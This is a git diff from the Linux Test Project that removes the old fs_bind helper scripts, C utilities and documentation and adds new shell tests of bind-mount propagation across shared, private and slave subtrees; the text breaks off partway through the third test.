-Another limitation of simple bind mounts is they cannot propagate future binds:
-
-# mkdir mnt mnt2
-# mount --bind mnt mnt2
-# touch mnt/a
-# mkdir mnt/foo
-# ls mnt2
-a foo
-# mkdir sub
-# touch sub/b
-# mount --bind sub /mnt/foo
-# ls mnt/foo
-b
-# ls mnt2/foo
-
-mnt2/foo appears to be empty because the second bind mount did not propagate
-to mnt2. Shared subtrees allow propagation whereas bind mounts do not.
-To enable full administrator control of propagation there are several kinds of
-subtrees:
-	private		[default -- this is a "normal" mount]
-	shared		[propagation goes both ways]
-	slave		[propagation goes one way]
-	unbindable	[cannot --bind and hence cannot share]
-
-For further details on these types of subtrees please see your kernel source's
-Documentation/filesystems/sharedsubtree.txt file.
-
-Building:
----------
-Uses GNU Make. In the root directory type:
-make
-
-Installing:
------------
-Type:
-make install
-
-Cleaning:
----------
-Type:
-make clean
-
-Running:
---------
-run LTPROOT/testscripts/test_fs_bind.sh
-
-
-Testcases:
-----------
-There are multiple testcases testing in each of the following categories,
-testing functionality of different types of mounts, different combinations,
-etc:
--- bind
--- rbind
--- move
--- regression tests
--- clone namespace (currently not run)
-
-
-Directory Structure:
---------------------
-In the root directory of the suite there are scripts to execute the whole test suite. Logged results are stored in LTPROOT/results/fs_bind. PASS/FAIL
-indications are passed to the LTP API and logged in the results directory too.
-
-Basic tests of bind and move mounts are part of the test_fs_bind.sh test
-script itself. These are prerequisites for the more the complicated tests.
-The bind, rbind, and move directories contain tests for bind, rbind, move in
-combination with the various kinds of subtrees. The regression and cloneNS
-directories perform basic regression tests and combine some of the tests with
-mount namespaces respectively.
-
-The bin directory contains scripts used by each of the testcases for
-common setup, creating, and comparing mounts.
-
-Running the Test Suite:
------------------------
-To run the entire testsuite run:
-test_fs_bind.sh
-
-Log directories where the results are stored in LTPROOT/results/fs_bind
-
-Reading the Test Suite Results:
--------------------------------
-Test suite results are logged, by default, in the LTPROOT/results/fs_bind
-directory. Its structure is:
-fs_bind-\
-	|-> errors		 (stderr of main test suite script itself)
-	|-> summary		 (stdout of main test suite script itself)
-	|-move--\
-	|	|->test01-\	(logs of test01)
-	|	|	  |-> log		(stdout)
-	|	|	  |-> err		(stderr)
-	|	|	  |-> mtab.before
-	|	|	  |-> mtab.after
-	|	|	  |-> proc_mounts.before
-	|	|	  |-> proc_mounts.after
-	|	|	  |-> files.before	(files  before running)
-	|	|	  |-> dirs.before	(dirs   before running)
-	|	|	  |-> files.after	(files  after  running)
-	|	|	  \-> dirs.after	(dirs   after  running)
-	|	|->test02-\
-	|	|	  |
-	|	...	  ...
-	|-rbind--\
-	|        |-->
-	...       ...
-
-An testXX/err file will only be left for those tests that had errors and
-stderr was non-empty. mounts.*, files.*, and dirs.* files will be left for
-tests that appear to have broken cleanup sections. The test_fs_bind.sh
-script robustly handles cleanup so, unless the tests are run individually, this
-is not an issue that prevents testing from completing successfully nor does it
-interfere with test results.
-
-These files make it easy to determine what happened during a given test.
-It's easy to see which tests need to be debugged and which do not. It also
-makes it easy to aggregate output or trace sandbox dirtying from test to test.
-
-Running individual Tests:
--------------------------
-Currently tests cannot be run individually because there are several important
-LTP environment dependencies. Some of them are documented below:
-	LTP test script environment variables:
-		LTPROOT
-		TCID
-		TST_TOTAL
-		TST_COUNT
-	LTP commands/functions:
-		tst_resm
-		tst_brkm
-		tst_exit
-	LTP contents:
-		LTPROOT/testcases/bin
-
-It's important to note that the individual test scripts use the current working
-directory extensively but never exit it. This may allow the tests to be run
-individually once the above LTP environment dependencies are resolved.
-Lastly none of the logging or debugging information will appear in the
-LTPROOT/results/fs_bind directory when tests are invoked individually since
-those are collected by the test_fs_bind.sh script.
diff --git a/testcases/kernel/fs/fs_bind/TODO b/testcases/kernel/fs/fs_bind/TODO
deleted file mode 100644
index 1730148..0000000
--- a/testcases/kernel/fs/fs_bind/TODO
+++ /dev/null
@@ -1,11 +0,0 @@
-Consider replacing long invocations
-	(replace "$FS_BIND_ROOT/bin/makedir") with something shorter).
-
-Factor out common bits of setup, setupnslock, and lockfile
-
-Rename smount to something more meaningful? (bind_mount ?)
-
-Check for leaks of vfsmount structs by diffing vfs slab cache obj numbers
-	(after -before)
-
-The cloneNS testcases need to be checked and tested -- consider them expiremental. (at least as of March 2008)
diff --git a/testcases/kernel/fs/fs_bind/bin/Makefile b/testcases/kernel/fs/fs_bind/bin/Makefile
deleted file mode 100644
index 2c09a28..0000000
--- a/testcases/kernel/fs/fs_bind/bin/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    testcases/kernel/fs/fs_bind/bin Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, September 2009
-#
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-INSTALL_DIR		:= $(prefix)/testcases/bin/fs_bind/bin
-
-INSTALL_TARGETS		:= check_prop lockfile makedir setup setupnslock
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/fs_bind/bin/check_prop b/testcases/kernel/fs/fs_bind/bin/check_prop
deleted file mode 100755
index 07da8ea..0000000
--- a/testcases/kernel/fs/fs_bind/bin/check_prop
+++ /dev/null
@@ -1,73 +0,0 @@
-#!/bin/bash
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-reverse=0
-while getopts "n" args $OPTIONS
-do
-	case "$args" in
-        n)      reverse=1
-		shift
-                ;;
- 	esac
-done
-
-if [ $reverse -eq 1 ]
-then
-	echo Check No Propagation $*
-else
-	echo Check Propagation $*
-fi
-
-dir1="$1"
-shift
-
-for dir2 in "$@"
-do
-	# compare adjacent pairs of directory trees
-
-	echo "Checking \"$dir1\" \"$dir2\""
-	diff -r "$dir1" "$dir2" 2> /dev/null
-
-	if [ $? -ne 0 ]
-	then
-		if [ $reverse -eq 1 ]
-		then
-			echo Successful
-			echo "---------"
-			exit 0
-		else
-			echo "FAILED"
-			echo "---------"
-                	exit 1
-		fi
-        fi
-        dir1="$dir2"
-done
-
-if [ $reverse -eq 1 ]
-then
-	echo FAILED
-	echo "---------"
-	exit -1
-else
-	echo Successful
-	echo "---------"
-	exit 0
-fi
diff --git a/testcases/kernel/fs/fs_bind/bin/lockfile b/testcases/kernel/fs/fs_bind/bin/lockfile
deleted file mode 100755
index 93d4d81..0000000
--- a/testcases/kernel/fs/fs_bind/bin/lockfile
+++ /dev/null
@@ -1,84 +0,0 @@
-#!/bin/bash
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Ram Pai (linuxram@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-lockfile="/.nslock"
-SUCCESS=0
-FAIL=1
-otherpid=
-startparent()
-{
-	rm -f $lockfile
-	echo $$ >| ${lockfile}parent
-	while [ 1 ]
-	do
-		otherpid="$(cat ${lockfile}child 2> /dev/null)"
-		if [ -n "$otherpid" -a -d /proc/$otherpid ]
-		then
-			return
-		fi
-	done
-}
-
-startchild()
-{
-	rm -f $lockfile
-	echo $$ >| ${lockfile}child
-	while [ 1 ]
-	do
-		otherpid="$(cat ${lockfile}parent 2> /dev/null)"
-		if [ -n "$otherpid" -a -d /proc/$otherpid ]
-		then
-			return
-		fi
-	done
-}
-
-iamgoingahead()
-{
-	while [ 1 ]
-	do
-		if [ ! -d /proc/$otherpid ]
-		then
-			return $FAIL
-		fi
-		str=`cat $lockfile 2> /dev/null`
-		pid=$(echo $str | awk '{print $1}')
-		error=$(echo $str | awk '{print $2}')
-		if [ "$pid" == "$$" ]
-		then
-			return $error
-		fi
-		sleep 1
-	done
-}
-
-
-goahead()
-{
-	set -x
-	ret=$SUCCESS
-	if [ -n "$1" ]
-	then
-		ret=$1
-	fi
-	echo "$otherpid $ret" >| $lockfile
-	set +x
-}
diff --git a/testcases/kernel/fs/fs_bind/bin/makedir b/testcases/kernel/fs/fs_bind/bin/makedir
deleted file mode 100755
index 7c0766a..0000000
--- a/testcases/kernel/fs/fs_bind/bin/makedir
+++ /dev/null
@@ -1,101 +0,0 @@
-#!/bin/bash
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-mflags=""
-#mflags="-n" # Don't futz with mtab
-
-flag=y
-while getopts "n" arg "$@"
-do
-        case "$arg" in
-        n)      flag=n
-                shift
-                ;;
-        esac
-done
-
-bind_type="$1"
-dir="$2"
-
-
-if [ ! -d "$dir" ]
-then
-	if [ -e "$dir" ]; then
-		echo "ERROR: a file by the name \"$dir\" exists"
-		exit 1
-	fi
-	mkdir -p "$dir"
-	echo "mkdir -p \"$dir\""
-fi
-
-
-if [ "$flag" = "y" ] && [ "$bind_type" != slave ]
-then
-	mount $mflags --bind "$dir" "$dir" || exit $?
-	echo "mount $mflags --bind \"$dir\" \"$dir\""
-fi
-
-# Try to use native mount, else fallback to included smount binary
-case "$bind_type" in
-   share)
-   	echo "mount $mflags --make-rshared \"$dir\""
-	mount $mflags --make-rshared "$dir" 2> /dev/null || \
-	smount "$dir" rshared || exit $?
-      	;;
-   priv)
-   	echo "mount $mflags --make-rprivate \"$dir\""
-	mount $mflags --make-rprivate "$dir" 2> /dev/null || \
-	smount "$dir" rprivate || exit $?
-      	;;
-   slave)
-   	echo "mount $mflags --make-rslave \"$dir\""
-	mount $mflags --make-rslave "$dir" 2> /dev/null || \
-	smount "$dir" rslave || exit $?
-      	;;
-   unclone)
-   	echo "mount $mflags --make-runbindable \"$dir\""
-	mount $mflags --make-runbindable "$dir" 2> /dev/null || \
-	smount "$dir" runclone || exit $?
-      	;;
-   nshare)
-   	echo "mount $mflags --make-shared \"$dir\""
-	mount $mflags --make-shared "$dir" 2> /dev/null || \
-	smount "$dir" shared || exit $?
-      	;;
-   npriv)
-   	echo "mount $mflags --make-private \"$dir\""
-	mount $mflags --make-private "$dir" 2> /dev/null || \
-	smount "$dir" private || exit $?
-      	;;
-   nslave)
-   	echo "mount $mflags --make-slave \"$dir\""
-	mount $mflags --make-slave "$dir" 2> /dev/null || \
-	smount "$dir" slave || exit $?
-      	;;
-   nunclone)
-   	echo "mount $mflags --make-unbindable \"$dir\""
-	mount $mflags --make-unbindable "$dir" 2> /dev/null || \
-	smount "$dir" unclone || exit $?
-      	;;
-   *)
-   	echo "$0: unrecognized bind type (1st arg): $bind_type" 1>&2
-	exit 1
-	;;
-esac
diff --git a/testcases/kernel/fs/fs_bind/bin/nsclone.c b/testcases/kernel/fs/fs_bind/bin/nsclone.c
deleted file mode 100644
index 36ae874..0000000
--- a/testcases/kernel/fs/fs_bind/bin/nsclone.c
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2005
- * Author: Ram Pai (linuxram@us.ibm.com)
- *
- * This library is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Lesser General Public
- * License as published by the Free Software Foundation; either
- * version 2.1 of the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Lesser General Public License for more details.
- *
- * You should have received a copy of the GNU Lesser General Public
- * License along with this library; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#define _GNU_SOURCE
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-#include <sched.h>
-#include <signal.h>
-#include <unistd.h>
-#include "test.h"
-#include <sys/types.h>
-#include <sys/wait.h>
-
-int myfunc(void *arg)
-{
-	return system(arg);
-}
-
-static void usage(char *cmd)
-{
-	printf("%s  child_script parent_script\n", cmd);
-}
-
-int main(int argc, char *argv[])
-{
-	char *child_cmd;
-	char *parent_cmd;
-	int ret = 0, childret = 0;
-
-	if (argc < 3) {
-		usage(argv[0]);
-		exit(1);
-	}
-
-	child_cmd = (char *)strdup(argv[2]);
-	parent_cmd = (char *)strdup(argv[1]);
-
-	printf("1\n");
-	ret = ltp_clone_quick(CLONE_NEWNS | SIGCHLD, myfunc, (void *)child_cmd);
-	if (ret != -1) {
-		system(parent_cmd);
-		wait(&childret);
-	} else {
-		fprintf(stderr, "clone failed\n");
-	}
-	if (ret || !WIFEXITED(childret)) {
-		exit(1);
-	}
-	exit(0);
-}
diff --git a/testcases/kernel/fs/fs_bind/bin/setup b/testcases/kernel/fs/fs_bind/bin/setup
deleted file mode 100755
index 4e30ef4..0000000
--- a/testcases/kernel/fs/fs_bind/bin/setup
+++ /dev/null
@@ -1,104 +0,0 @@
-#!/bin/bash -v
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-disk1=disk1
-disk2=disk2
-disk3=disk3
-disk4=disk4
-fs=ext3
-
-mkdir -p $disk1 $disk2 $disk3 $disk4
-
-
-
-rm -rf $disk1/* $disk2/* $disk3/* $disk4/*
-
-mkdir $disk1/a $disk1/b $disk1/c
-mkdir $disk2/d $disk2/e $disk2/f
-mkdir $disk3/g $disk3/h $disk3/i
-mkdir $disk4/j $disk4/k $disk4/l
-
-lockfile="/.nslock"
-otherpid=
-startparent()
-{
-        rm -f $lockfile
-        echo $$ >| ${lockfile}parent
-        while [ 1 ]
-        do
-                otherpid="$(cat ${lockfile}child 2> /dev/null)"
-                if [ -n "$otherpid" -a -d /proc/$otherpid ]
-                then
-                        return
-                fi
-        done
-}
-
-
-startchild()
-{
-        rm -f $lockfile
-        echo $$ >| ${lockfile}child
-        while [ 1 ]
-        do
-                otherpid="$(cat ${lockfile}parent 2> /dev/null)"
-                if [ -n "$otherpid" -a -d /proc/$otherpid ]
-                then
-                        return
-                fi
-        done
-}
-
-iamgoingahead()
-{
-        while [ 1 ]
-        do
-                pid=`cat $lockfile 2> /dev/null`
-                if [ "$pid" == "$$" ]
-                then
-                        return
-                fi
-                sleep 1
-        done
-}
-
-
-goahead()
-{
-        set -x
-        echo $otherpid > $lockfile
-        set +x
-}
-
-
-check(){
-	"${FS_BIND_ROOT}/bin/check_prop" $*
-	ret=$?
-	if [ $ret -ne 0 ]; then
-		result=$ret
-	fi
-}
-export result=0
-
-cleanup(){
-	rm -rf "disk"*
-}
diff --git a/testcases/kernel/fs/fs_bind/bin/setupnslock b/testcases/kernel/fs/fs_bind/bin/setupnslock
deleted file mode 100755
index e35927b..0000000
--- a/testcases/kernel/fs/fs_bind/bin/setupnslock
+++ /dev/null
@@ -1,64 +0,0 @@
-#!/bin/bash
-
-lockfile="/.nslock"
-SUCCESS=0
-FAIL=1
-otherpid=
-startparent()
-{
-        rm -f $lockfile
-        echo $$ >| ${lockfile}parent
-        while [ 1 ]
-        do
-                otherpid="$(cat ${lockfile}child 2> /dev/null)"
-                if [ -n "$otherpid" -a -d /proc/$otherpid ]
-                then
-                        return
-                fi
-        done
-}
-
-startchild()
-{
-        rm -f $lockfile
-        echo $$ >| ${lockfile}child
-        while [ 1 ]
-        do
-                otherpid="$(cat ${lockfile}parent 2> /dev/null)"
-                if [ -n "$otherpid" -a -d /proc/$otherpid ]
-                then
-                        return
-                fi
-        done
-}
-
-iamgoingahead()
-{
-        while [ 1 ]
-        do
-                if [ ! -d /proc/$otherpid ]
-                then
-                        return $FAIL
-                fi
-                str=`cat $lockfile 2> /dev/null`
-                pid=$(echo $str | awk '{print $1}')
-                error=$(echo $str | awk '{print $2}')
-                if [ "$pid" == "$$" ]
-                then
-                        return $error
-                fi
-                sleep 1
-        done
-}
-
-goahead()
-{
-        set -x
-        ret=$SUCCESS
-        if [ -n "$1" ]
-        then
-                ret=$1
-        fi
-        echo "$otherpid $ret" >| $lockfile
-        set +x
-}
diff --git a/testcases/kernel/fs/fs_bind/bin/smount.c b/testcases/kernel/fs/fs_bind/bin/smount.c
deleted file mode 100644
index 9484687..0000000
--- a/testcases/kernel/fs/fs_bind/bin/smount.c
+++ /dev/null
@@ -1,73 +0,0 @@
-//
-//this code was developed my Miklos Szeredi <miklos@szeredi.hu>
-//and modified by Ram Pai <linuxram@us.ibm.com>
-// sample usage:
-//              newmount /tmp shared
-//
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <unistd.h>
-#include <sys/mount.h>
-#include <sys/fsuid.h>
-
-#ifndef MS_REC
-#define MS_REC		0x4000	/* 16384: Recursive loopback */
-#endif
-
-#ifndef MS_SHARED
-#define MS_SHARED		1<<20	/* Shared */
-#endif
-
-#ifndef MS_PRIVATE
-#define MS_PRIVATE		1<<18	/* Private */
-#endif
-
-#ifndef MS_SLAVE
-#define MS_SLAVE		1<<19	/* Slave */
-#endif
-
-#ifndef MS_UNCLONE
-#define MS_UNCLONE		1<<17	/* UNCLONE */
-#endif
-
-int main(int argc, char *argv[])
-{
-	int type;
-	if (argc != 3) {
-		fprintf(stderr, "usage: %s DIR "
-			"[rshared|rslave|rprivate|runclone|shared|slave|private|unclone]\n",
-			argv[0]);
-		return 1;
-	}
-
-	fprintf(stdout, "%s %s %s\n", argv[0], argv[1], argv[2]);
-
-	if (strcmp(argv[2], "rshared") == 0)
-		type = (MS_SHARED | MS_REC);
-	else if (strcmp(argv[2], "rslave") == 0)
-		type = (MS_SLAVE | MS_REC);
-	else if (strcmp(argv[2], "rprivate") == 0)
-		type = (MS_PRIVATE | MS_REC);
-	else if (strcmp(argv[2], "runclone") == 0)
-		type = (MS_UNCLONE | MS_REC);
-	else if (strcmp(argv[2], "shared") == 0)
-		type = MS_SHARED;
-	else if (strcmp(argv[2], "slave") == 0)
-		type = MS_SLAVE;
-	else if (strcmp(argv[2], "private") == 0)
-		type = MS_PRIVATE;
-	else if (strcmp(argv[2], "unclone") == 0)
-		type = MS_UNCLONE;
-	else {
-		fprintf(stderr, "invalid operation: %s\n", argv[2]);
-		return 1;
-	}
-	setfsuid(getuid());
-	if (mount("", argv[1], "ext2", type, "") == -1) {
-		perror("mount");
-		return 1;
-	}
-	return 0;
-}
diff --git a/testcases/kernel/fs/fs_bind/bind/00_Descriptions.txt b/testcases/kernel/fs/fs_bind/bind/00_Descriptions.txt
deleted file mode 100644
index 1a3979f..0000000
--- a/testcases/kernel/fs/fs_bind/bind/00_Descriptions.txt
+++ /dev/null
@@ -1,176 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) International Business Machines  Corp., 2008                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-
-OO_DESCRIPTION.txt
-==================
-
-The contents of the bind directory:
-test01 - shared child to shared parent.
-test02 - shared child to private parent.
-test03 - shared child to slave parent.
-test04 - shared child to unclonable parent.
-test05 - private child to shared parent.
-test06 - private child to private parent.
-test07 - private child to slave parent.
-test07-2 - create slave then mount master - slave still propagates.
-test08 - private child to uncloneable parent.
-test09 - slave child to shared parent.
-test10 - slave child to private parent.
-test11 - slave child to slave parent.
-test12 - slave child to uncloneable parent.
-test13 - uncloneable child to shared parent.
-test14 - uncloneable child to private parent.
-test15 - uncloneable child to slave parent.
-test16 - uncloneable child to uncloneable parent.
-test17 - shared subtree with shared child to shared subtree.
-test18 - shared subtree with shared child to private subtree.
-test19 - shared subtree with shared child to slave subtree.
-test20 - shared subtree with shared child to uncloneable subtree.
-test21 - multi-level slave p-nodes.
-test22 - bind within same tree - root to child
-test23 - shared child to shared parent.
-test24 - shared child to shared parent.
-
-
-test07-2:
-=========
-create slave then mount master - slave still propagates.
-
-
-test01:
-=======
-shared child to shared parent.
-
-
-test02:
-=======
-shared child to private parent.
-
-
-test03:
-=======
-shared child to slave parent.
-
-
-test04:
-=======
-shared child to unclonable parent.
-
-
-test05:
-=======
-private child to shared parent.
-
-
-test06:
-=======
-private child to private parent.
-
-
-test07:
-=======
-private child to slave parent.
-
-
-test08:
-=======
-private child to uncloneable parent.
-
-
-test09:
-=======
-slave child to shared parent.
-
-
-test10:
-=======
-slave child to private parent.
-
-
-test11:
-=======
-slave child to slave parent.
-
-
-test12:
-=======
-slave child to uncloneable parent.
-
-
-test13:
-=======
-uncloneable child to shared parent.
-
-
-test14:
-=======
-uncloneable child to private parent.
-
-
-test15:
-=======
-uncloneable child to slave parent.
-
-
-test16:
-=======
-uncloneable child to uncloneable parent.
-
-
-test17:
-=======
-shared subtree with shared child to shared subtree.
-
-
-test18:
-=======
-shared subtree with shared child to private subtree.
-
-
-test19:
-=======
-shared subtree with shared child to slave subtree.
-
-
-test20:
-=======
-shared subtree with shared child to uncloneable subtree.
-
-
-test21:
-=======
-multi-level slave p-nodes.
-
-
-test22:
-=======
-bind within same tree - root to child
-
-
-test23:
-=======
-shared child to shared parent.
-
-
-test24:
-=======
-shared child to shared parent.
-
-
diff --git a/testcases/kernel/fs/fs_bind/bind/Makefile b/testcases/kernel/fs/fs_bind/bind/Makefile
new file mode 100644
index 0000000..4823326
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/Makefile
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
+# Ngie Cooper, July 2009
+
+top_srcdir			?= ../../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS			:= fs_bind*
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind01.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind01.sh
new file mode 100755
index 0000000..0168851
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind01.sh
@@ -0,0 +1,48 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared child to shared parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --bind parent2 share2
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+
+	fs_bind_check parent2 share2
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+	fs_bind_check parent1/child1/a parent2/child2/a share2/child2/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+	fs_bind_check parent1/child1/b parent2/child2/b share2/child2/b
+	fs_bind_check parent2 share2
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind02.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind02.sh
new file mode 100755
index 0000000..3e7f366
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind02.sh
@@ -0,0 +1,49 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared child to private parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --bind parent1/child1 share1
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 share1
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check parent1/child1/a parent2/child2/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check parent1/child1/b parent2/child2/b share1/b
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind03.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind03.sh
new file mode 100755
index 0000000..5620451
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind03.sh
@@ -0,0 +1,60 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared child to slave parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+	mkdir parent2
+
+	EXPECT_PASS mount --bind parent1/child1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share2
+	EXPECT_PASS mount --bind share2 parent2
+	EXPECT_PASS mount --make-rslave parent2
+
+	fs_bind_check share2 parent2
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --bind parent1/child1 share1
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+
+	fs_bind_check parent1/child1 share1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent1/child1/a
+
+	fs_bind_check parent1/child1/a parent2/child2/a share1/a
